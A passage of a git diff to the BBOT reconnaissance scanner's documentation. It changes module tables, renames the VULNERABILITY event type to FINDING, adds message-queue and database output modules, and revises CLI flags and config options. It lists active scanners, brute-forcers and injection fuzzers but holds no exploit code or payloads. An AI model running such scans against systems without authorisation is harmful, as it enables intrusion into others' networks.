FINDING | @liquidsec | 2022-07-25 | -| nuclei | scan | No | Fast and customisable vulnerability scanner | active, aggressive, deadly | URL | FINDING, TECHNOLOGY, VULNERABILITY | @TheTechromancer | 2022-03-12 | +| nuclei | scan | No | Fast and customisable vulnerability scanner | active, aggressive, deadly | URL | FINDING, TECHNOLOGY | @TheTechromancer | 2022-03-12 | | oauth | scan | No | Enumerate OAUTH and OpenID Connect services | active, affiliates, cloud-enum, safe, subdomain-enum, web-basic | DNS_NAME, URL_UNVERIFIED | DNS_NAME | @TheTechromancer | 2023-07-12 | -| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | FINDING, WEB_PARAMETER | @liquidsec | 2022-06-27 | -| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | FINDING, WEB_PARAMETER | @liquidsec | 2022-06-28 | +| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | +| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | | paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | | portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan, safe | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | | reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, safe, web-thorough | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | @@ -50,11 +50,11 @@ | securitytxt | scan | No | Check for security.txt content | active, cloud-enum, safe, subdomain-enum, web-basic | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | | smuggler | scan | No | Check for HTTP smuggling | active, aggressive, slow, web-thorough | URL | FINDING | @liquidsec | 2022-07-06 | | sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, safe, subdomain-enum, web-basic | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | -| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE, URL | FINDING, VULNERABILITY | @liquidsec | 2022-04-10 | +| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | | url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-09-27 | | vhost | scan | No | Fuzz for virtual hosts | active, aggressive, deadly, slow | URL | DNS_NAME, VHOST | @liquidsec | 2022-05-02 | | wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, aggressive | URL | WAF | @liquidsec | 2023-02-15 | -| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, aggressive | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED, VULNERABILITY | @domwhewell-sage | 2024-05-29 | +| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, aggressive | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | | affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | | anubisdb | scan | No | Query jldc.me's database for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | | apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | @@ -83,7 +83,6 @@ | docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | | dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive, safe | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | | emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | | fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | | git_clone | scan | No | Clone code github repositories | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | | gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | @@ -98,6 +97,7 @@ | ipneighbor | scan | No | Look beside IPs in their surrounding subnet | aggressive, passive, subdomain-enum | IP_ADDRESS | IP_ADDRESS | @TheTechromancer | 2022-06-08 | | ipstack | scan | Yes | Query IPStack's GeoIP API | passive, safe | IP_ADDRESS | GEOLOCATION | @tycoonslive | 2022-11-26 | | jadx | scan | No | Decompile APKs and XAPKs using JADX | code-enum, passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-11-04 | +| kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | | leakix | scan | No | Query leakix.net for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | | myssl | scan | No | Query myssl.com's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | | otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | @@ -109,29 +109,34 @@ | rapiddns | scan | No | Query rapiddns.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | | securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | | shodan_dns | scan | Yes | Query Shodan for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | -| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY, VULNERABILITY | @TheTechromancer | 2023-12-22 | +| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | | sitedossier | scan | No | Query sitedossier.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | | skymem | scan | No | Query skymem.info for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | | social | scan | No | Look for social media links in webpages | passive, safe, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | | subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | | subdomainradar | scan | Yes | Query the Subdomain API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | | trickest | scan | Yes | Query Trickest's API for subdomains | affiliates, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @amiremami | 2024-07-27 | -| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive, safe | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING, VULNERABILITY | @domwhewell-sage | 2024-03-12 | +| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive, safe | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING | @domwhewell-sage | 2024-03-12 | | urlscan | scan | No | Query urlscan.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | | viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive, safe | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | | virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | | wayback | scan | No | Query archive.org's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | -| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, VULNERABILITY, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | +| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | | csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | | discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | | emails | output | No | Output any email addresses found belonging to the target domain | email-enum | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | | http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | | json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | +| kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | +| mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | | mysql | output | No | Output scan data to a MySQL database | | * | | @TheTechromancer | 2024-11-13 | +| nats | output | No | Output scan data to a NATS subject | | * | | @TheTechromancer | 2024-11-22 | | neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | | nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | | postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | | python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | +| rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | | slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | | sqlite | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-07 | @@ -140,8 +145,9 @@ | teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | | web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | -| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST, VULNERABILITY | | @liquidsec | 2023-02-08 | +| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | | websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | +| zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | | cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | | dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | | aggregate | internal | No | Summarize statistics at the end of a scan | passive, safe | | | @TheTechromancer | 2022-07-25 | diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index 3858096d78..3ef37fdd29 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -7,9 +7,8 @@ BBOT integrates with [Nuclei](https://github.com/projectdiscovery/nuclei), an op ![Nuclei Killchain](https://github.com/blacklanternsecurity/bbot/assets/24899338/7174c4ba-4a6e-4596-bb89-5a0c5f5abe74) -* The BBOT Nuclei module ingests **[URL]** events and emits events of type **[VULNERABILITY]** or **[FINDING]** -* Vulnerabilities will inherit their severity from the Nuclei templates -* Nuclei templates of severity INFO will be emitted as **[FINDINGS]** +* The BBOT Nuclei module ingests **[URL]** events and emits events of type **[FINDING]** +* Findings will inherit their severity from the Nuclei templates ## Default Behavior diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index b60c3260e4..dc13a0d7c2 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -32,19 +32,19 @@ if __name__ == "__main__": ```text -usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] +usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d] - [-s] [--force] [-y] [--fast-mode] [--dry-run] + [-S] [--force] [-y] [--fast-mode] [--dry-run] [--current-preset] [--current-preset-full] [-mh MODULE] [-o DIR] [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | - --ignore-failed-deps | --install-all-deps] [--version] - [--proxy HTTP_PROXY] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] + [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] + [--version] [--proxy HTTP_PROXY] + [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] [--custom-yara-rules CUSTOM_YARA_RULES] [--user-agent USER_AGENT] @@ -55,43 +55,44 @@ options: -h, --help show this help message and exit Target: - -t, --targets TARGET [TARGET ...] - Target scope (defines what is in-scope) - -s, --seeds SEEDS [SEEDS ...] + -t TARGET [TARGET ...], --targets TARGET [TARGET ...] + Target scope + -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...] Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) - -b, --blacklist BLACKLIST [BLACKLIST ...] + -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things - --strict-scope Don't consider subdomains of targets to be in-scope + --strict-scope Don't consider subdomains of target to be in-scope - exact matches only Presets: - -p, --preset [PRESET ...] + -p [PRESET ...], --preset [PRESET ...] Enable BBOT preset(s) - -c, --config [CONFIG ...] + -c [CONFIG ...], --config [CONFIG ...] Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234' -lp, --list-presets List available presets. Modules: - -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,kreuzberg,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan + -m MODULE [MODULE ...], --modules MODULE [MODULE ...] + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_realm,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options - -em, --exclude-modules MODULE [MODULE ...] + -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] Exclude these modules. - -f, --flags FLAG [FLAG ...] + -f FLAG [FLAG ...], --flags FLAG [FLAG ...] Enable modules by flag. Choices: active,affiliates,aggressive,baddns,cloud-enum,code-enum,deadly,download,email-enum,iis-shortnames,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web-basic,web-paramminer,web-screenshots,web-thorough -lf, --list-flags List available flags. - -rf, --require-flags FLAG [FLAG ...] + -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) - -ef, --exclude-flags FLAG [FLAG ...] + -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] Disable modules with these flags. (e.g. -ef aggressive) --allow-deadly Enable the use of highly aggressive modules Scan: - -n, --name SCAN_NAME Name of scan (default: random) + -n SCAN_NAME, --name SCAN_NAME + Name of scan (default: random) -v, --verbose Be more verbose -d, --debug Enable debugging - -s, --silent Be quiet + -S, --silent Be quiet --force Run scan even in the case of condition violations or failed module setups -y, --yes Skip scan confirmation prompt --fast-mode Scan only the provided targets as fast as possible, with no extra discovery @@ -99,13 +100,14 @@ Scan: --current-preset Show the current preset in YAML format --current-preset-full Show the current preset in its full form, including defaults - -mh, --module-help MODULE + -mh MODULE, --module-help MODULE Show help for a specific module Output: - -o, --output-dir DIR Directory to output scan results - -om, --output-modules MODULE [MODULE ...] - Output module(s). Choices: asset_inventory,csv,discord,emails,http,json,mysql,neo4j,nmap_xml,postgres,python,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket + -o DIR, --output-dir DIR + Directory to output scan results + -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...] + Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,http,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket,zeromq -lo, --list-output-modules List available output modules --json, -j Output scan data in JSON format @@ -126,13 +128,13 @@ Module dependencies: Misc: --version show BBOT version and exit --proxy HTTP_PROXY Use this proxy for all HTTP requests - -H, --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] + -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] List of custom headers as key value pairs (header=value). - -C, --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] + -C CUSTOM_COOKIES [CUSTOM_COOKIES ...], --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] List of custom cookies as key value pairs (cookie=value). - --custom-yara-rules, -cy CUSTOM_YARA_RULES + --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES Add custom yara rules to excavate - --user-agent, -ua USER_AGENT + --user-agent USER_AGENT, -ua USER_AGENT Set the user-agent for all HTTP requests EXAMPLES diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 548f60b61a..f30128cb34 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -59,6 +59,15 @@ Below is a full list of the config options supported, along with their defaults. ```yaml title="defaults.yml" ### BASIC OPTIONS ### +# NOTE: If used in a preset, these options must be nested underneath "config:" like so: +# config: +# home: ~/.bbot +# keep_scans: 20 +# scope: +# strict: true +# dns: +# minimal: true + # BBOT working directory home: ~/.bbot # How many scan results to keep before cleaning up the older ones @@ -74,7 +83,7 @@ folder_blobs: false scope: # strict scope means only exact DNS names are considered in-scope - # subdomains are not included unless they are explicitly provided in the target list + # their subdomains are not included unless explicitly whitelisted strict: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) @@ -87,7 +96,7 @@ scope: ### DNS ### dns: - # Completely disable DNS resolution (careful if you are using IP-based targets/blacklists, consider using minimal=true instead) + # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false @@ -433,6 +442,8 @@ In addition to the stated options for each module, the following universal optio | modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | | modules.lightfuzz.enabled_submodules | list | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'] | | modules.lightfuzz.force_common_headers | bool | Force emit commonly exploitable parameters that may be difficult to detect | False | +| modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | +| modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | | modules.medusa.snmp_versions | list | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | | modules.medusa.snmp_wordlist | str | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt) | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | | modules.medusa.threads | int | Number of communities to be tested concurrently (default 5) | 5 | @@ -530,7 +541,6 @@ In addition to the stated options for each module, the following universal optio | modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | | modules.docker_pull.all_tags | bool | Download all tags from each registry (Default False) | False | | modules.docker_pull.output_folder | str | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage. | | -| modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.fullhunt.api_key | str | FullHunt API Key | | | modules.git_clone.api_key | str | Github token | | | modules.git_clone.output_folder | str | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage. | | @@ -552,6 +562,7 @@ In addition to the stated options for each module, the following universal optio | modules.ipneighbor.num_bits | int | Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts) | 4 | | modules.ipstack.api_key | str | IPStack GeoIP API Key | | | modules.jadx.threads | int | Maximum jadx threads for extracting apk's, default: 4 | 4 | +| modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.leakix.api_key | str | LeakIX API Key | | | modules.otx.api_key | str | OTX API key | | | modules.passivetotal.api_key | str | PassiveTotal API Key in the format of 'username:api_key' | | @@ -582,25 +593,37 @@ In addition to the stated options for each module, the following universal optio | modules.asset_inventory.summary_netmask | int | Subnet mask to use when summarizing IP addresses at end of scan | 16 | | modules.asset_inventory.use_previous | bool |` Emit previous asset inventory as new events (use in conjunction with -n ) `| False | | modules.csv.output_file | str | Output to CSV file | | -| modules.discord.event_types | list | Types of events to send | ['VULNERABILITY', 'FINDING'] | -| modules.discord.min_severity | str | Only allow VULNERABILITY events of this severity or higher | LOW | +| modules.discord.event_types | list | Types of events to send | ['FINDING'] | +| modules.discord.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.discord.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.discord.webhook_url | str | Discord webhook URL | | +| modules.elastic.password | str | Elastic password | bbotislife | +| modules.elastic.timeout | int | HTTP timeout | 10 | +| modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | +| modules.elastic.username | str | Elastic username | elastic | | modules.emails.output_file | str | Output to file | | | modules.http.bearer | str | Authorization Bearer token | | +| modules.http.headers | dict | Additional headers to send with the request | {} | | modules.http.method | str | HTTP method | POST | | modules.http.password | str | Password (basic auth) | | -| modules.http.siem_friendly | bool | Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc. | False | | modules.http.timeout | int | HTTP timeout | 10 | | modules.http.url | str | Web URL | | | modules.http.username | str | Username (basic auth) | | | modules.json.output_file | str | Output to file | | -| modules.json.siem_friendly | bool | Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc. | False | +| modules.kafka.bootstrap_servers | str | A comma-separated list of Kafka server addresses | localhost:9092 | +| modules.kafka.topic | str | The Kafka topic to publish events to | bbot_events | +| modules.mongo.collection_prefix | str | Prefix the name of each collection with this string | | +| modules.mongo.database | str | The name of the database to use | bbot | +| modules.mongo.password | str | The password to use to connect to the database | | +| modules.mongo.uri | str | The URI of the MongoDB server | mongodb://localhost:27017 | +| modules.mongo.username | str | The username to use to connect to the database | | | modules.mysql.database | str | The database name to connect to | bbot | | modules.mysql.host | str | The server running MySQL | localhost | | modules.mysql.password | str | The password to connect to MySQL | bbotislife | | modules.mysql.port | int | The port to connect to MySQL | 3306 | | modules.mysql.username | str | The username to connect to MySQL | root | +| modules.nats.servers | list | A list of NATS server addresses | [] | +| modules.nats.subject | str | The NATS subject to publish events to | bbot_events | | modules.neo4j.password | str | Neo4j password | bbotislife | | modules.neo4j.uri | str | Neo4j server + port | bolt://localhost:7687 | | modules.neo4j.username | str | Neo4j username | neo4j | @@ -609,8 +632,10 @@ In addition to the stated options for each module, the following universal optio | modules.postgres.password | str | The password to connect to Postgres | bbotislife | | modules.postgres.port | int | The port to connect to Postgres | 5432 | | modules.postgres.username | str | The username to connect to Postgres | postgres | -| modules.slack.event_types | list | Types of events to send | ['VULNERABILITY', 'FINDING'] | -| modules.slack.min_severity | str | Only allow VULNERABILITY events of this severity or higher | LOW | +| modules.rabbitmq.queue | str | The RabbitMQ queue to publish events to | bbot_events | +| modules.rabbitmq.url | str | The RabbitMQ connection URL | amqp://guest:guest@localhost/ | +| modules.slack.event_types | list | Types of events to send | ['FINDING'] | +| modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | | 